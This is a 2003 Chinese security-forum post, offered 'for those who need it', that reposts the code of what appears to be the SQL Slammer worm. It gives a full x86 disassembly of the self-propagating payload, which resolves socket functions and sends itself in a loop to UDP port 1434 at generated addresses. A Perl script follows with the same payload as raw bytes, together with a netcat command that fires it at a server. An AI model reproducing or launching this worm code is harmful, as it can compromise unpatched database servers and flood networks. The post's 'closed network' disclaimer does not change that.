20CN网络安全小组论坛 - 病毒专区 - “2003蠕虫”代码，给需要的人（转）

论坛: 病毒专区标题: “2003蠕虫”代码，给需要的人（转）

作者: gefujian [gefujian]

论坛用户

00000000　90　　　　　　　　nop
00000001　90　　　　　　　　nop
00000002　90　　　　　　　　nop
00000003　90　　　　　　　　nop
00000004　90　　　　　　　　nop
00000005　90　　　　　　　　nop
00000006　90　　　　　　　　nop
00000007　90　　　　　　　　nop
00000008　68DCC9B042　　　　push dword 0x42b0c9dc
0000000D　B801010101　　　　mov eax,0x1010101
00000012　31C9　　　　　　　xor ecx,ecx
00000014　B118　　　　　　　mov cl,0x18
00000016　50　　　　　　　　push eax
00000017　E2FD　　　　　　　loop 0x16
00000019　3501010105　　　　xor eax,0x5010101
0000001E　50　　　　　　　　push eax
0000001F　89E5　　　　　　　mov ebp,esp
00000021　51　　　　　　　　push ecx
00000022　682E646C6C　　　　push dword 0x6c6c642e
00000027　68656C3332　　　　push dword 0x32336c65
0000002C　686B65726E　　　　push dword 0x6e72656b
00000031　51　　　　　　　　push ecx
00000032　686F756E74　　　　push dword 0x746e756f
00000037　6869636B43　　　　push dword 0x436b6369
0000003C　6847657454　　　　push dword 0x54746547
00000041　66B96C6C　　　　　mov cx,0x6c6c
00000045　51　　　　　　　　push ecx
00000046　6833322E64　　　　push dword 0x642e3233
0000004B　687773325F　　　　push dword 0x5f327377
00000050　66B96574　　　　　mov cx,0x7465
00000054　51　　　　　　　　push ecx
00000055　68736F636B　　　　push dword 0x6b636f73
0000005A　66B9746F　　　　　mov cx,0x6f74
0000005E　51　　　　　　　　push ecx
0000005F　6873656E64　　　　push dword 0x646e6573
00000064　BE1810AE42　　　　mov esi,0x42ae1018
00000069　8D45D4　　　　　　lea eax,[ebp-0x2c]
0000006C　50　　　　　　　　push eax
0000006D　FF16　　　　　　　call near [esi]
0000006F　50　　　　　　　　push eax
00000070　8D45E0　　　　　　lea eax,[ebp-0x20]
00000073　50　　　　　　　　push eax
00000074　8D45F0　　　　　　lea eax,[ebp-0x10]
00000077　50　　　　　　　　push eax
00000078　FF16　　　　　　　call near [esi]
0000007A　50　　　　　　　　push eax
0000007B　BE1010AE42　　　　mov esi,0x42ae1010
00000080　8B1E　　　　　　　mov ebx,[esi]
00000082　8B03　　　　　　　mov eax,[ebx]
00000084　3D558BEC51　　　　cmp eax,0x51ec8b55
00000089　7405　　　　　　　jz 0x90
0000008B　BE1C10AE42　　　　mov esi,0x42ae101c
00000090　FF16　　　　　　　call near [esi]
00000092　FFD0　　　　　　　call eax
00000094　31C9　　　　　　　xor ecx,ecx
00000096　51　　　　　　　　push ecx
00000097　51　　　　　　　　push ecx
00000098　50　　　　　　　　push eax
00000099　81F10301049B　　　xor ecx,0x9b040103
0000009F　81F101010101　　　xor ecx,0x1010101
000000A5　51　　　　　　　　push ecx
000000A6　8D45CC　　　　　　lea eax,[ebp-0x34]
000000A9　50　　　　　　　　push eax
000000AA　8B45C0　　　　　　mov eax,[ebp-0x40]
000000AD　50　　　　　　　　push eax
000000AE　FF16　　　　　　　call near [esi]
000000B0　6A11　　　　　　　push byte +0x11
000000B2　6A02　　　　　　　push byte +0x2
000000B4　6A02　　　　　　　push byte +0x2
000000B6　FFD0　　　　　　　call eax
000000B8　50　　　　　　　　push eax
000000B9　8D45C4　　　　　　lea eax,[ebp-0x3c]
000000BC　50　　　　　　　　push eax
000000BD　8B45C0　　　　　　mov eax,[ebp-0x40]
000000C0　50　　　　　　　　push eax
000000C1　FF16　　　　　　　call near [esi]
000000C3　89C6　　　　　　　mov esi,eax
000000C5　09DB　　　　　　　or ebx,ebx
000000C7　81F33C61D9FF　　　xor ebx,0xffd9613c
000000CD　8B45B4　　　　　　mov eax,[ebp-0x4c]
000000D0　8D0C40　　　　　　lea ecx,[eax+eax*2]
000000D3　8D1488　　　　　　lea edx,[eax+ecx*4]
000000D6　C1E204　　　　　　shl edx,0x4
000000D9　01C2　　　　　　　add edx,eax
000000DB　C1E208　　　　　　shl edx,0x8
000000DE　29C2　　　　　　　sub edx,eax
000000E0　8D0490　　　　　　lea eax,[eax+edx*4]
000000E3　01D8　　　　　　　add eax,ebx
000000E5　8945B4　　　　　　mov [ebp-0x4c],eax
000000E8　6A10　　　　　　　push byte +0x10
000000EA　8D45B0　　　　　　lea eax,[ebp-0x50]
000000ED　50　　　　　　　　push eax
000000EE　31C9　　　　　　　xor ecx,ecx
000000F0　51　　　　　　　　push ecx
000000F1　6681F17801　　　　xor cx,0x178
000000F6　51　　　　　　　　push ecx
000000F7　8D4503　　　　　　lea eax,[ebp+0x3]
000000FA　50　　　　　　　　push eax
000000FB　8B45AC　　　　　　mov eax,[ebp-0x54]
000000FE　50　　　　　　　　push eax
000000FF　FFD6　　　　　　　call esi
00000101　EBCA　　　　　　　jmp short 0xcd

#!/usr/bin/perl
###############

my $packet =
"\x04\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\xdc\xc9\xb0\x42\xeb\x0e\x01".
"\x01\x01\x01\x01\x01\x01\x70\xae".
"\x42\x01\x70\xae\x42\x90\x90\x90".
"\x90\x90\x90\x90\x90\x68\xdc\xc9".
"\xb0\x42\xb8\x01\x01\x01\x01\x31".
"\xc9\xb1\x18\x50\xe2\xfd\x35\x01".
"\x01\x01\x05\x50\x89\xe5\x51\x68".
"\x2e\x64\x6c\x6c\x68\x65\x6c\x33".
"\x32\x68\x6b\x65\x72\x6e\x51\x68".
"\x6f\x75\x6e\x74\x68\x69\x63\x6b".
"\x43\x68\x47\x65\x74\x54\x66\xb9".
"\x6c\x6c\x51\x68\x33\x32\x2e\x64".
"\x68\x77\x73\x32\x5f\x66\xb9\x65".
"\x74\x51\x68\x73\x6f\x63\x6b\x66".
"\xb9\x74\x6f\x51\x68\x73\x65\x6e".
"\x64\xbe\x18\x10\xae\x42\x8d\x45".
"\xd4\x50\xff\x16\x50\x8d\x45\xe0".
"\x50\x8d\x45\xf0\x50\xff\x16\x50".
"\xbe\x10\x10\xae\x42\x8b\x1e\x8b".
"\x03\x3d\x55\x8b\xec\x51\x74\x05".
"\xbe\x1c\x10\xae\x42\xff\x16\xff".
"\xd0\x31\xc9\x51\x51\x50\x81\xf1".
"\x03\x01\x04\x9b\x81\xf1\x01\x01".
"\x01\x01\x51\x8d\x45\xcc\x50\x8b".
"\x45\xc0\x50\xff\x16\x6a\x11\x6a".
"\x02\x6a\x02\xff\xd0\x50\x8d\x45".
"\xc4\x50\x8b\x45\xc0\x50\xff\x16".
"\x89\xc6\x09\xdb\x81\xf3\x3c\x61".
"\xd9\xff\x8b\x45\xb4\x8d\x0c\x40".
"\x8d\x14\x88\xc1\xe2\x04\x01\xc2".
"\xc1\xe2\x08\x29\xc2\x8d\x04\x90".
"\x01\xd8\x89\x45\xb4\x6a\x10\x8d".
"\x45\xb0\x50\x31\xc9\x51\x66\x81".
"\xf1\x78\x01\x51\x8d\x45\x03\x50".
"\x8b\x45\xac\x50\xff\xd6\xeb\xca";

print $packet;

# for testing in CLOSED network environments:
# perl worm.pl | nc server 1434 -u -v -v -v

[此贴被 gefujian(gefujian) 在 01月27日14时59分编辑过]

地主发表时间: 2003-01-27 14:47:59